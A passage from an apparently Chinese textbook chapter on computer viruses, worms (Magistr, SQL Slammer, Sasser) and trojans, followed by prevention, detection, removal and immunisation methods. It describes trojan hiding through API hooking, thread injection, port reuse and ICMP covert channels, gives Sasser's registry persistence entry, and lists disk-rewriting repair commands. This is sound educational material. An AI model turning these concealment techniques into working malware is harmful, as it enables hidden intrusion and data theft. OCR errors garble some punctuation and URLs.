3,I-Worm.Magistr网络蠕虫这是一个恶性病毒,可通过网络上的电子邮件或在局域网内进行传播,发作时间是在病毒感染系统一个月后 。 该病毒随机在当前机上找一个,EXE或,SCR文件和一些,DOC或,TXT文件作为附件发出去 。
蠕虫会改写本地机和局域网中电脑上的文件,文件内容全部被改写,
这将导致文件不能恢复 。 在 Win 9x环境下,该蠕虫会像 CIH病毒一样,破坏 BIOS和清除硬盘上的数据,是危害性非常大的一种病毒 。
该蠕虫采用了多变形引擎和两组加密模块,感染文件的中部和尾部,将中部的原文件部分代码加密后潜藏在蠕虫体内。其长为
24000~ 30000字节,使用了非常复杂的感染机制,感染,EXE,.DLL,.OCX,.SCR,.CPL等文件;每传染一个目标,就变化一次,具有无穷次变化,其目的是使反病毒软件难以发现和清除。目前,该蠕虫已有许多变种。
4,SQL蠕虫王
SQL蠕虫王是 2003年 1月 25日在全球爆发的蠕虫 。 它非常小,仅仅只有 376字节,是针对 Microsoft SQL Server 2000的蠕虫,利用的安全漏洞是,Microsoft SQL Server 2000 Resolution 服务远程缓冲区溢出,漏洞,利用的端口是 SQL Server Resolution服务的 UDP 1434。
Microsoft SQL Server 2000可以在一个物理主机上提供多个逻辑的 SQL服务器的实例 。 每个实例都可以看做一个单独的服务器 。
但是,这些实例不能全都使用标准的 SQL服务对话端口 ( TCP
1433),所以 QL Server Resolution服务会监听 UDP 1434端口,提供一种特殊的 SQL服务实例的途径,用于客户端查询适当的网络末端 。
当 SQL Server Resolution服务在 UDP 1434端口接收到第一个字节设置为 0x04的 UDP包时,SQL监视线程会获取 UDP包中的数据,
并使用用户提供的该信息来尝试打开注册表中的某一键值。利用这一点,攻击者会在该 UDP包后追加大量字符串数据。当尝试打开这个字符串对应的键值时,会发生基于栈的缓冲区溢出。蠕虫溢出成功取得系统控制权后,就开始向随机 IP地址发送自身。
5,震荡波震荡波 ( Worm.Sasser) 是一种长度为 15872字节的 蠕虫,它依赖于 Windows NT/2000/XP/Server2003,以系统漏洞为传播途径 。
下面介绍震荡波的传播过程 。
( 1) 拷贝自身到系统目录 ( 名为 %WINDOWS%\avserve2.exe,
15872字节 ),然后登记到自启动项:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersi
on\Run
avserve2.exe = %WINDOWS%\avserve2.exe
( 2) 开辟线程,在本地开辟后门:监听 TCP 5554端口 ( 支持
USER,PASS,PORT,RETR和 QUIT命令 ) 被攻击的机器主动连接本地
5554端口,把 IP地址和端口传过来 。 本线程负责把病毒文件传送到被攻击的机器 。
( 3) 开辟 128个扫描线程 。 以本地 IP地址为基础,取随机 IP地址,
疯狂地试探连接 445端口:如果试探成功,则运行一个新的病毒进程对该目标进行攻击,把该目标的 IP地址保存到,c:\win2.log‖。
( 4) 利用 Windows的 LSASS 中存在一个缓冲区溢出漏洞进行攻击 。
一旦攻击成功,会导致对方机器感染此病毒并进行下一轮的传播;
攻击失败也会造成对方机器的缓冲区溢出,导致对方机器程序非法操作,以及系统异常等 。 由于该病毒在 lsass.exe中溢出,可以获取管理员的权限,执行任意指令 。
( 5)溢出代码会主动从原机器下载病毒程序,运行起来,开始新的攻击。
1.5 木马返回
1.5.1 木马程序及其类型
1,木马程序概述古希腊诗人荷马 ( Homer) 在其史诗依利雅得 ( The Iliad) 中,
描述了一个故事:希腊王的王妃海伦被特洛伊 ( Troy) 的王子掠走,
希腊王在攻打 Troy城时,使用了木马计 ( the stratagem of
Trojan horse),在巨大的木马内装满了士兵,然后假装撤退,把木马 ( Trojan horse) 留下 。 特洛伊人把木马当作战利品拉回特洛伊城内 。 到了夜间,木马内的士兵,钻出来作为内应,打开城门 。
希腊王得以攻下特洛伊城 。 此后,人们就把特洛伊木马作为伪装的内部颠覆者的代名词 。
RFC1244( Request for Comments:1244) 中,关于 Trojan( 特洛伊木马)程序的定义是:特洛伊木马程序是一种程序,它能提供一些有用的或者令人感兴趣的功能。但是还具有用户不知道的其他功能,
例如在用户不知晓的情况下拷贝文件或窃取密码。简单地说,凡是人们能在本地计算机上操作的功能,木马基本上都能实现。
2,基于动作的木马程序类型根据木马程序对计算机的动作方式,木马程序可以分为如下几种类型 。
( 1) 远程控制型远程控制型是木马程序的主流 。 所谓远程控制就是在计算机间通过某种协议 ( 如 TCP/IP协议 ) 建立起一个数据通道 。 通道的一端发送命令,另一端解释并执行该命令,并通过该通道返回信息 。 简单地说,就是采用 Clint/Server( 客户机 /服务器,简称 C/S) 工作模式 。
采用 C/S模式的木马程序都由两部分组成:一部分称为被控端
( 通常是监听端口的 Server端 ),另一部分被称为控制端 ( 通常是主动发起连接的 Clint端 ) 。 被控端的主要任务是隐藏在被控主机的系统内部,并打开一个监听端口,就像隐藏在木马中的战士,等待着攻击的时机,当接收到来自控制端的连接请求后,主线程立即创建一个子线程并把请求交给它处理,同时继续监听其他的请求 。
控制端的任只是发送命令,并正确地接收返回信息 。
这种类型的木马,运行起来非常简单,只要先运行服务端程序,
同时获得远程主机的 IP地址,控制者就能任意访问被控制端的计算机,从而使远程控制者在本地计算机上做任意想做的事情。
( 2) 信息窃取型信息窃取型木马的目的是收集系统上的敏感信息,例如用户登陆类型,用户名,口令,密码等 。 这种木马一般不需要客户端,运行时不会监听端口,只悄悄地在后台运行,一边收集敏感信息,一边不断检测系统的状态 。 一旦发现系统已经连接到 Internet上,就在受害者不知情的情形下将收集的信息通过一些常用的传输方式
( 如电子邮件,ICQ,FTP) 把它们发送到指定的地方 。
( 3) 键盘记录型键盘记录型木马只做一件事情,就是记录受害者的键盘敲击,
并完整地记录在 LOG文件中 。
( 4) 毁坏型毁坏型木马以毁坏并删除文件(如受害者计算机上的,dll,.ini
或,exe) 为主要目的。
3,木马程序的特征木马是一种危害性极大个恶意程序 。 它可以窃取数据,篡改,
破坏数据和文件,释放病毒,执行远程非法操作者的指令,甚至可以使系统自毁 。 下面介绍它的特征 。
( 1) 非授权性与自动运行性:一旦控制端与服务端建立连接后,
控制端将窃取用户密码,获取大部分操作权限,如修改文件,修改注册表,重启或关闭服务端操作系统,断开网络连接,控制服务端鼠标和键盘,监视服务端桌面操作,查看服务端进程等 。 这些权限不是用户授权的,而是木马自己窃取的 。
( 2) 隐藏性和欺骗性:隐藏是一切恶意程序的存在之本 。 而木马为了获得非授权的服务,还要通过欺骗进行隐藏 。
( 3) 可预置性:木马程序可以在系统软件和应用软件的文件传播中被人置入,也可以在系统或软件设计是被故意放置进来 。 例如某操作系统在设计时故意放置了一个木马程序,可以将客户的相关信息发回到其总部 。
( 4)非自繁殖性与非自动感染性。一般说来,病毒具有极强的传染性,而木马虽然可以传播,当本身不具备繁殖性和自动感染的功能。
1.5.2 木马程序的关键技术
1,木马的传播形式木马的传播都是先进行伪装或改头换面(如利用 exe文件绑定将木马捆绑在小游戏上,或将木马的图标直接改为
html,txt,jpg等文件的图标),然后进行传播。下面介绍木马的几种传播形式。
( 1) 手工放置:手工放置比较简单,是最常见的做法 。
手工放置分本地放置和远程放置两种 。 本地安装就是直接在计算机上进行安装 。 远程安装就是通过常规攻击手段使获得目标主机的上传权限后,将木马上传到目标计算机上,
然后通过其他方法使木马程序运行起来 。
( 2) 以邮件附件的形式传播:控制端将木马改头换面后,
然后将木马程序添加到附件中,发送给收件人 。
( 3) 通过 OICQ对话,利用文件传送功能发送伪装了的木马程序 。
( 4) 将木马程序捆绑在软件安装程序上,通过提供软件下载的网站 ( Web/FTP/BBS) 传播 。
( 5) 通过病毒或蠕虫程序传播 。
( 6)通过磁盘或光盘传播。
2,木马的隐藏与欺骗技术隐藏是一切恶意程序生存之本,欺骗是通过伪装来实现隐藏一种技巧 。 下面介绍木马的几种隐藏手段,
( 1) 进程隐蔽服务器端想要隐藏木马,可以伪隐藏,也可以是真隐藏。
伪隐藏,就是指程序的进程仍然存在,只不过是让它消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。
伪隐藏的方法比较简单。在 Windows9x系统中,只要把木马服务器端的程序注册为一个服务(在后台工作的进程)就可以了。这样,程序就会从任务列表中消失,为系统不再认为是一个进程,当按下 Ctrl+Alt+Delete的时候,也就看不到这个进程。对于 Windows
NT,Windows 2000等,通过服务管理器,则要使用 API的拦截技术,
通过建立一个后台的系统钩子,拦截 PSAPI的 EnumProcessModules
等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程 ID( PID) 为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了 TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。
同样,这种方法也可以用在进程隐藏上。当进程为真隐藏的时候,
那么这个木马的服务器部分程序运行之后,就不应该具备一般进程特征,也不应该具备服务特征,即它完全溶进了系统的内核。因此可以不把它做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,
( 2) 伪装成图像文件即将木马图标修改成图像文件图标 。
( 3) 伪装成应用程序扩展组件将木马程序写成任何类型的文件 ( 如 dll,ocx等 ),然后挂在十分出名的软件中 。 因为人们一般不怀疑这些软件 。
( 4) 错觉欺骗利用人的错觉,例如故意混淆文件名中的 1( 数字 ) 与 l( L的小写 ),0( 数字 ) 与 o( 字母 ) 或 O( 字母 ) 。
( 5) 合并程序欺骗合并程序就是将两个或多个可执行文件结合为一个文件,使这些可执行文件能同时执行。木马的合并欺骗就是将木马绑定到应用程序中。
3,程序的自加载运行技术在受害系统中驻留的木马程序应当具有自加载启动运行功能。让程序自运行的方法比较多。最常见的方法是对
Windows系统注册表,win.ini文件,system.ini文件或启动组文件进行修改。
4,木马程序建立连接的隐藏木马程序的数据传递方法有很多种,通常是靠 TCP,UDP传输数据 。 这时可以利用 Winsock与目标机的指定端口建立起连接,使用
send和 recv等 API进行数据的传递,但是这种方法的隐蔽性比较差,
往往容易被一些工具软件查看到,例如在命令行状态下使用
netstat命令,就可以查看到当前的活动 TCP,UDP连接 。
为了躲避这种侦察,可以采用多种方法,例如合并端口法和使用 ICMP( Internet Control Message Protocol) 协议进行数据的发送的方法 。
合并端口是在一个端口上同时绑定两个 TCP或者 UDP连接,通过把自己的木马端口绑定于特定的服务端口 ( 比如 80端口的 HTTP) 之上从而达到隐藏端口的目地 。
使用 ICMP协议进行数据的发送的方法,是通过修改 ICMP头的构造,加入木马的控制字段。这样的木马,具备很多新的特点,如不占用端口,使用户难以发觉;使用 ICMP可以穿透一些防火墙,
从而增加了防范的难度。
5,发送数据的组织方法为了避免被发现,木马程序必须很好地控制数据传输量,例如把屏幕画面切分为了多个部分,并将画面存储为 JPG格式,使压缩率变高,使数据变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为 0。
1.6 病毒对抗技术返回狭义的计算机病毒对抗,是指通过建立合理的计算机病毒防范体系和制度,及时发现计算机病毒侵入,并采取有效的手段阻止计算机病毒的传播和破坏,恢复受影响的计算机系统和数据 。 简单地说,查,防,解,恢复,是计算机病毒防范的四大法宝 。 广义的计算机病毒对抗还涉及使用病毒作为武器的相互攻击和防御 。
防毒是指根据系统特性,采取相应的系统安全措施预防病毒侵入计算机 。
查毒是指对于确定的环境,能够准确地报出病毒名称,该环境包括,内存,文件,引导区 ( 含主导区 ),网络等 。
解毒是指根据不同类型病毒对感染对象的修改,并按照病毒的感染特性所进行的恢复 。 该恢复过程不能破坏未被病毒修改的内容 。
感染对象包括:内存,引导区 ( 含主引导区 ),可执行文件,文档文件,网络等 。
恢复是对被病毒破坏了的文件以及系统进行恢复 。
此外,病毒防范还涉及病毒免疫和法制管理 。
1.6.1 计算机病毒的预防计算机病毒防治,要采取预防为主的方针 。 下面是一些行之有效的措施 。
1,对新购置的计算机硬软件系统进行测试新购置的计算机软件也要进行计算机病毒检测 。 有些软件厂商发售的软件,可能无意中已被计算机病毒感染 。 就是正版软件也难保证没有携带计算机病毒 。 因此,只要条件许可,就要进行病毒检测:用软件工具检查已知计算机病毒,用人工检测方法检查未知计算机病毒,并经过证实没有计算机病毒感染和破坏迹象后再使用 。
2,单台计算机系统的安全使用在一台计算机中使用在其他计算机中用过的移动存储器时,应当先进行病毒检测。对重点保护的计算机系统应做到专机、专盘、
专人、专用。封闭的使用环境中是不会自然产生计算机病毒的。
3,计算机网络的安全使用对于网络计算机系统,除了要首先保证自己使用的计算机的安全外,还应采取下列针对网络的防杀计算机病毒措施:
( 1) 安装网络服务器时,应保证没有计算机病毒存在,即安装环境和网络操作系统本身没有感染计算机病毒 。
( 2)在安装网络服务器时,应将文件系统划分成多个文件卷系统(至少划分成操作系统卷、共享的应用程序卷和各个网络用户可以独占的用户数据卷),以有利于维护网络服务器的安全稳定运行和用户数据的安全。这样,一旦系统卷受到某种损伤,导致服务器瘫痪,就可以通过重装系统卷,恢复网络操作系统,使服务器又马上投入运行,而装在共享的应用程序卷和用户卷内的程序和数据文件不会受到任何损伤。如果用户卷内由于计算机病毒或使用上的原因导致存储空间拥塞时,系统卷不会受影响,不会导致网络系统运行失常。这种划分还十分有利于系统管理员设置网络安全存取权限,
保证网络系统不受计算机病毒感染和破坏。
( 3) 一定要用硬盘启动网络服务器,否则在受到引导型计算机病毒感染和破坏后,遭受损失的将不仅仅是一台个人计算机,而会影响到整个网络的中枢 。
( 4) 为各个卷分配不同的用户权限 。 将操作系统卷设置成对一般用户为只读权限,屏蔽其它网络用户对系统卷除读和执行以外的所有其它操作,如修改,改名,删除,创建文件和写文件等操作权限 。
应用程序卷也应设置成对一般用户是只读权限的,不经授权,不经计算机病毒检测,就不允许在共享的应用程序卷中安装程序 。 保证除系统管理员外,其它网络用户不可能将计算机病毒感染到系统中,
使网络用户有一个安全的联网工作环境 。
( 5) 在网络服务器上必须安装真正有效的防杀计算机病毒软件,
并经常进行升级 。 必要的时候还可以在网关,路由器上安装计算机病毒防火墙产品,从网络出入口保护整个网络不受计算机病毒的侵害 。 在网络工作站上采取必要的防杀计算机病毒措施,可使用户不必担心来自网络内部和网络工作站本身的计算机病毒侵害 。
( 6)不随便直接运行或直接打开电子函件中夹带的附件文件,不要随意下载软件,尤其是一些可执行文件和 Office文档。即使下载了,也要先用最新的防杀计算机病毒软件来检查。
4,重要数据文件要有备份
( 1) 硬盘分区表,引导扇区等的关键数据应作备份并妥善保管,以便在进行系统维护和修复工作时作为参考 。
( 2)重要数据文件定期进行备份工作。不要等到由于计算机病毒破坏、计算机硬件或软件出现故障,使用户数据受到损伤时再去急救。
5,强化安全管理
( 1) 系统管理员的口令应严格管理,不使泄漏,不定期地予以更换,保护网络系统不被非法存取,不被感染上计算机病毒或遭受破坏 。
( 2) 应用程序软件的安装,应由系统管理员进行或由系统管理员临时授权进行,保护网络用户使用共享资源时总是安全无毒的 。
( 3) 系统管理员对网络内的共享电子函件系统,共享存储区域和用户卷应定期进行计算机病毒扫描,发现异常情况及时处理 。 条件许可,还应在应用程序卷中安装最新版本的防杀计算机病毒软件供用户使用 。
( 4) 网络系统管理员应做好日常管理事务的同时,还要拟订应急措施,及时发现计算机病毒感染迹象 。 一旦出现计算机病毒传播迹象,应立即隔离被感染的计算机系统和网络,并进行处理 。 不应当带毒继续工作下去,要按照特别情况清查整个网络,切断计算机病毒传播的途径,保障正常工作的进行 。
由于技术上的计算机病毒防治方法尚无法达到完美的境地,难免会有新的计算机病毒突破防护系统的保护,传染到计算机系统中。
因此对可能由计算机病毒引起的现象应予以注意,发现异常情况时,
不使计算机病毒传播影响到整个网络。
6,防范体系与规范建设计算机病毒防范工作,首先是防范体系的建设和制度的建立 。
没有一个完善的防范体系,一切防范措施都将滞后于计算机病毒的危害 。
计算机病毒防范体系的建设是一个社会性的工作,不是一两个人,
一两家企业能够实现的,需要全社会的参与,充分利用所有能够利用的资源,形成广泛的,全社会的计算机病毒防范体系网络 。
计算机病毒防范制度是防范体系中每个主体都必须的行为规程,
没有制度,防范体系就不可能很好地运作,就不可能达到预期的效果。必须依照防范体系对防范制度的要求,结合实际情况,建立符合自身特点防范制度。
为了统筹全国的计算机病毒的防治,2000年 5月在原
,计算机病毒检测防治产品检测中心,的基础上,成立了,国家计算机病毒应急处理中心,。 国家计算机病毒应急处理中心工作任务是:充分调动国内防治计算机病毒的力量,快速发现病毒疫情,快速作出反应,快速处置,及时消除病毒,防止计算机病毒对我国的计算机网络和信息系统造成重大的破坏,确保我国信息产业安全健康发展 。
另一方面,为了使中国的计算机防治工作走上法制轨道,国家于 1994年 2月颁布了,中华人民共和国计算机信息系统安全保护条例,,在此基础上又颁布了,计算机病毒防治管理办法,,还在新修改的,中华人民共和国刑法,中对故意制造,传播计算机病毒的行为规定了相应的处罚办法 。
1.6.2 计算机病毒发现计算机病毒是一段程序代码,即使它隐藏得很好,但也会留下许多痕迹 。 通过对这些蛛丝马迹的判别,就能发现计算机病毒的存在了 。
1,根据表现发现病毒根据计算机病毒感染和发作的阶段,可以将计算机病毒的表现现象分为三大类:计算机病毒发作前,发作时和发作后的表现现象 。 在人工情况下,可以通过发现这些表现推断发现计算机病毒 。
( 1) 计算机病毒发作前的表现现象计算机病毒发作前阶段,指从计算机病毒感染计算机系统,潜伏在系统内开始,一直到激发条件满足,计算机病毒发作之前的阶段。在这个阶段,计算机病毒的行为主要是以潜伏、传播为主。计算机病毒会以各式各样的手法来隐藏自己,在不被发现同时,又自我复制,以各种手段进行传播。但是,它总是有一些表现,例如:
·原来运行正常的计算机突然经常性无缘无故地死机:由于修改了中断引起的系统不稳定 。
·操作系统无法正常启动:可能由于感染病毒后系统文件结构发生变化,无法被操作系统加载,引导 。
·运行速度明显变慢:可能由于计算机病毒占用了大量的系统资源,
并且自身的运行占用了大量的处理器时间,造成系统资源不足,运行变慢 。
·原来正常运行的软件总出现内存不足的错误:可能是计算机病毒驻留后占用了系统中大量的内存空间,使得可用内存空间减小 。
·打印和通讯异常:可能由于计算机病毒驻留内存后占用了打印端口,串行通讯端口的中断服务程序,使之不能正常工作 。
·应用程序经常发生死机或者非法错误:可能由于计算机病毒破坏了应用程序本身的正常功能,或者计算机病毒程序本身存在着兼容性方面的问题造成的。
·系统文件的时间,日期,大小发生变化:这是最明显的计算机病毒感染迹象 。
·打开的 Word文档另存时只能以模板方式保存:往往是打开的 Word
文档中感染了 Word宏病毒的缘故 。
·磁盘空间突然迅速减少 。
·网络驱动器卷或共享目录无法调用 。
·基本内存发生变化 ( 一般少 1Kb~ 2Kb),通常是感染了引导型计算机病毒所造成 。
·陌生人发来的电子函件 。
·自动链接到一些陌生的网站 。
应当注意:一般的系统故障是有别与计算机病毒感染的。系统故障大多只符合上面的一点或二点现象,而计算机病毒感染所出现的现象会多的多。
( 2) 计算机病毒发作时的表现现象计算机病毒发作时是指满足计算机病毒发作的条件,计算机病毒程序开始破坏行为的阶段 。 通常,不同的计算机病毒发作时的表现亦不相同 。 下面是一些病毒发作常见的表现现象:
·提示一些不相干的话 。
·发出一段的音乐,如,杨基,( Yangkee) 计算机病毒和中国的
,浏阳河,计算机病毒 。
·产生特定的图象:如小球计算机病毒 。
·硬盘灯不断闪烁:病毒使有持续大量的硬盘读写操作 。
·进行游戏算法 。
·Windows桌面图标发生变化 。
·计算机突然死机或重启 。
·自动发送电子函件 。
·鼠标指针自己动 。
应当注意,上述现象须与计算机正常运行时的表现相区分
( 3) 计算机病毒发作后的表现现象通常,计算机病毒发作都会给计算机系统带来破坏性的后果 。 大多数计算机病毒都是属于,恶性,计算机病毒 。,恶性,计算机病毒发作后往往会带来很大的损失,下面列举一些恶性计算机病毒发作后所造成的后果 。
·硬盘无法启动:可能是计算机病毒破坏了硬盘的引导扇区 。
·系统文件丢失或被破坏:可能是某些计算机病毒发作时删除了系统文件,或者破坏了系统文件 。
·文件目录发生混乱:有两种情况 。 一种就是确实将目录结构破坏;
另一种情况将真正的目录区转移到硬盘的其他扇区中 。 只要病毒存在,后者一般能够被恢复的 。
·数据丢失:可能是计算机病毒修改了硬盘的关键内容 ( 如文件分配表,根目录区等 ),或部分文档丢失或被破坏 。
·部分文档自动加密码:可能是某些机病毒利用加密算法,将加密密钥保存在计算机病毒程序体内或其他隐蔽的地方 。 一旦这种计算机病毒被清除,被加密的文档就很难被恢复了 。
·修改 Autoexec.bat文件,增加 Format C,一项,导致计算机重新启动时格式化硬盘 。
·部分可软件升级主板的 BIOS程序混乱,主板被破坏 。
·网络瘫痪,无法提供正常的服务。
2,进程监视进程监视会观察到系统的活动状况,同时也会拦截所有可疑行为 。
例如,多数个人计算机的 BIOS都有防病毒设置,当这些设置打开时,
就允许计算机拦截所有对系统主引导记录进行写入的企图 。
3,验证校验信息使用信息校验码可以发现文件内部字节的变化。一般情况下,
未被病毒感染的系统首先应生成一个基准记录,然后规律性地使用校验码(如 CRC) 来检查文件的改变情况。
4,使用病毒扫描程序病毒扫描程序使用特征文件 ( Signature file) 在被感染的文件中查找病毒 。 特征文件是列出所有已知病毒和它们的属性的数据库 。 这些属性包括病毒代码,传染文件的类型和有助于查找病毒的其他信息 。
病毒扫描程序有多种形式。其中,基本的形式有按需扫描和内存驻留两种。按需扫描型程序需要手工启动或者由一个自动进程启动运行。这种程序启动后,一般会在整个驱动器或系统中查找病毒,包括 RAM,硬盘等设备。
内存驻留型是一种在后台运行的程序。它们一般在系统启动时就初始化,然后一直在内存中保持激活状态,一旦有文件访问,就会拦截对文件的调用,进行病毒检查,然后才允许文件装入内存。
1.6.3 计算机病毒的清除病毒的清除,也称为对象恢复,就是将染毒文件中的病毒代码摘除。计算机病毒很多,并且还在不断出现。
它们特性各异,生成技术不同,清除方法也不同。下面介绍几种已有病毒的清除方法。
1,引导型病毒的清除清除引导型病毒的最有效,最简单方法是进行磁盘的格式化 。
但是,格式化的同时也使有用数据同归于尽 。 因此,要尽量采用不格式化方法清除引导型病毒 。
( 1) 主引导扇区的修复
1 用无毒软盘启动系统 。
2 寻找一台同类型,硬盘分区相同的无毒计算机,将其硬盘主引导扇区写入一张软盘 。
3 将该盘插入染毒计算机,将其中采集的主引导扇区数据写入染毒硬盘 。
4 修复结束。
( 2) BOOT扇区的恢复
1 用无毒软盘启动系统 。
2 运行下面的命令:
·FDISK/MBR( 重写一个无病毒的 MBR) 。
·FDISK( 读取或重写分区表 ) 。
·FORMAT C:/S或 SYS C:( 重写一个无毒的活动分区引导记录 ) 。
注意:
·对硬盘分区,FAT或其他加密病毒,需要根据病毒的算法先进行解码 。
·如果引导型病毒将原主引导扇区或 BOOT覆盖写入根目录区,被覆盖的根目录区将永久性破坏,不可恢复。
2,文件型病毒的清除对于文件型病毒,可分两种情形讨论 。 一是破坏性感染病毒 。 这类病毒一般采用覆盖式写入,由于破坏了宿主文件,
所以当没有原文件的副本时,是不可恢复的 。 另一种情形是非破坏性病毒 。 它们感染的文件是可以恢复的 。 但是恢复方法是很复杂的,没有专门知识 ( 如对可执行文件格式的了解,
以及是否掌握汇编语言知识 ) 是做不到手工恢复的 。
在文件型病毒的清除时,特别要注意交叉型病毒的手工清除方法。所谓交叉感染是指一个文件同时感染了多种病毒。
交叉感染的文件大致有图 1.6所示的两种基本结构。对于附在宿主文件尾部的病毒,清除的顺序与感染和执行的顺序一致
(先执行的先清除);对于附在宿主文件头部的病毒,清除的顺序与感染和执行的顺序相反(先执行的后清除)
还要注意,COM文件感染可能会有更复杂的情形,即首尾都附加有病毒。这时,就要注意在 100H处的跳转语句是先执行哪个病毒程序,以及以后的跳转语句形成的执行顺序。
3,宏病毒的清除
( 1) 手工清除例如清除 Word文档中的宏病毒,可以采用如下方法:
1 选取,工具 | 宏,,进入,管理器,;
2 选取,宏方案项 ( M) ;
3 在,宏方案项的有效范围,下拉列表框中,选择要检查的文档,
在其上方列表框中会显示该文档模板中出现的宏;
4 将来源不明的宏删除 。
( 2) 使用杀毒软件下面介绍在 Windows环境下使用 KV3000清除宏病毒的方法 。
1 执行 KV3000;
2 任选一可能存在宏病毒的子目录进行检查;
3 为安全起见,查出病毒后,先将之扩展名改名 ( 如改为,kv) ;
4 将原文件中的病毒杀除。
1.6.4 病毒防治软件
1,病毒防治软件的类型病毒防治软件的功能不外乎查毒,杀毒 。 按照查毒,杀毒机制,病毒防治软件可以分为 3类:
( 1) 病毒扫描型软件:病毒扫描型软件采用特征扫描法,根据已知病毒特征扫描可能的感染对象 。
( 2) 完整性检查型软件:完整性检查型软件采用比较法和校验和法,监视对象 ( 包括引导扇区和文件等 ) 的属性 ( 大小,时间,日期和校验和 ) 和内容,如果发生变化,则对象极有可能被病毒感染 。
( 3)行为封锁型软件:行为封锁型软件采用驻留内存在后台工作的方式,监视可能因病毒引起的异常行为。发现异常行为,就及时发出警告,让用户决定是否让所发生的行为继续进行。
2,病毒防治软件的选择指标
( 1) 识别率:识别率主要从下面两个方面来衡量:
·误报率:在被检测对象中,对没有感染病毒的对象发出警报的比率 。
·漏报率:在被检测对象中,对感染病毒的对象没有被检测出比率 。
( 2) 检测速度:不同的抗病毒软件使用不同病毒扫描算法,会影响检测速度 。 当然,开发者的能力也影响检测速度 。
( 3) 动态检测 ( on-the-fly scanning) 能力:动态检测也称实时检测检测,指在操作 ( 打开,关闭,创建,读 /写 ) 时检测病毒的能力 。 具有动态检测能力的抗病毒软件总是处于激活状态,一般驻留内在存,主动检测各种对象 。
( 4) 按需检测 ( on-demand scanning) 能力:抗病毒软件一般处于非激活状态,在用户请求下才开始扫描 。
( 5) 多平台可用性:抗病毒软件可以识别 OS,根据不同的 OS偶数,利用不同的特征 。
( 6)可靠性:可靠性是指抗病毒软件能够完成正常的扫描,它是一个十分重要的准则。
3,病毒防治软件产品
( 1) 国外防病毒产品及查询网站
·VirusScan,网址,http://www.mcafeeb2b.com
·NAV,网址,http://www.symantee.com
·Pandaguard,网址,http://www,pandaguard.com
( 2) 国外防病毒产品及查询网站
·KILL,网址,http://www.kill.com
·KV,网址,http://www.jiangmin.com
·RAV,网址,http://www,rising.com
·VRV,网址,http://www.vrv.com
1.6.5 计算机病毒侵害系统的恢复查毒杀毒的目的,是为了让系统能正常工作 。 因此,查毒,
杀毒之后,还要对被破坏了的系统进行修复 。
一旦遇到计算机病毒破坏了系统,采取一些简单的办法就可以杀除大多数的计算机病毒,恢复被计算机病毒破坏的系统。下面介绍计算机病毒感染后的一般修复处理方法:
( 1) 首先必须对系统破坏程度有详细而全面的了解,并根据破坏的程度来决定采用对应的有效清除方法和对策:
·若受破坏的大多是系统文件和应用程序文件,并且感染程度较深,
那么可以采取重装系统的办法来达到清除计算机病毒的目的;
·若感染的是关键数据文件或感染比较严重(如硬件被 CIH计算机病毒破坏),就应当考虑请计算机病毒专家来进行清除和数据恢复工作。
( 2) 修复前,尽可能再次备份重要数据文件 。
目前防杀病毒软件在杀毒前大多都会保存重要数据和被感染文件,
以便误杀或因杀毒造成新的破坏后能够恢复现场 。 其中,对特别重要的用户数据文件等在杀毒前还应当单独进行手工备份,但是不能备份在被感染破坏的系统内,也不应该与平时的常规备份混在一起 。
( 3) 启动防杀计算机病毒软件并对整个硬盘进行扫描 。
注意,某些计算机病毒 ( 如 CIH计算机病毒 ) 在 Windows 95/98状态下无法完全清除,此时应用事先准备好的未感染计算机病毒的
DOS系统软盘启动系统,然后在 DOS下运行相关杀毒软件进行清除 。
( 4) 发现计算机病毒后,一般应利用防杀计算机病毒软件清除文件中的计算机病毒 。 如果可执行文件中的计算机病毒不能被清除,
应将其删除后重新安装相应的应用程序 。
( 5) 杀毒完成后,重启计算机,再次用防杀计算机病毒软件检查系统中是否还存在计算机病毒,并确定被感染破坏的数据确实被完全恢复 。
( 6) 对于杀毒软件无法杀除的计算机病毒,应将计算机病毒样本送交防杀计算机病毒软件厂商的研究中心,以供详细分析 。
1.6.6 计算机病毒免疫技术
1,计算机病毒免疫的基本原理计算机病毒的传染模块一般包括传染条件判断和实施传染两个部分。在病毒被激活的状态下,病毒程序通过判断传染条件的满足与否,以决定是否对目标对象进行传染。一般情况下,病毒程序在传染一个对象后,都要给被传染对象加上传染标识。传染条件的判断就是检测被攻击对象是否存在这种标识:若存在这种标识,则病毒程序不对该对象进行传染;若不存在这种标示,则病毒程序就对该对象实施传染。于是,可以想象,如果能在正常对象中加上这种标识,就像给生物体注射疫苗后会产生抗体一样,使该对象可以不受病毒的传染,起到免疫的作用。如香港病毒,1575病毒,在传染前先检查待传染的扇区或程序里是否含有病毒代码,如果没有找到则进行传染;如果找到了则不再进行传染。这种用作判断是否为病毒自身的病毒代码被称作传染标志,或免疫标志。
2,针对某一种病毒的计算机病毒免疫方法例如对小球病毒,在 DOS引导扇区的 1FCH处填上 1357H,小球病毒一检查到这个标志就不再对它进行传染了。对于 1575文件型病毒,免疫标志是文件尾的内容为 0CH和 0AH的两个字节,1575
病毒若发现文件尾含有这两个字节,则不进行传染。这种方法的优点是可以有效地防止某一种特定病毒的传染。但缺点很严重,
主要有以下几点:
( 1)对于不设有感染标识或不检查病毒标志的病毒不能达到免疫的目的:有的病毒只要在激活的状态下,会无条件地把病毒传染给被攻击对象,而不论这种对象是否已经被感染过或者是否具有某种标识。如黑色星期五,是在传染时不判断是否存在免疫标志,病毒只要找到一个可传染对象就进行一次传染,使一个文件可能被黑色星期五反复传染多次,滚雪球一样越滚越大(要说明的是,黑色星期五病毒程序中本来具有判别传染标志的代码,但由于程序设计错误,使判断失败,形成现在的情况,对文件会反复感染,传染标志形同虚设)。
( 2) 当出现这种病毒的变种不再使用这个免疫标志时,或出现新病毒时,免疫标志发挥不了作用 。
( 3) 某些病毒的免疫标志不容易仿制,非要加上这种标志不可,
则对原来的文件要做大的改动 。 例如对大麻病毒就不容易做免疫标志 。
( 4) 由于病毒的种类较多,又有技术上的原因,不可能对一个对象加上各种病毒的免疫标识,这就使得该对象不能对所有的病毒具有兔疫作用 。
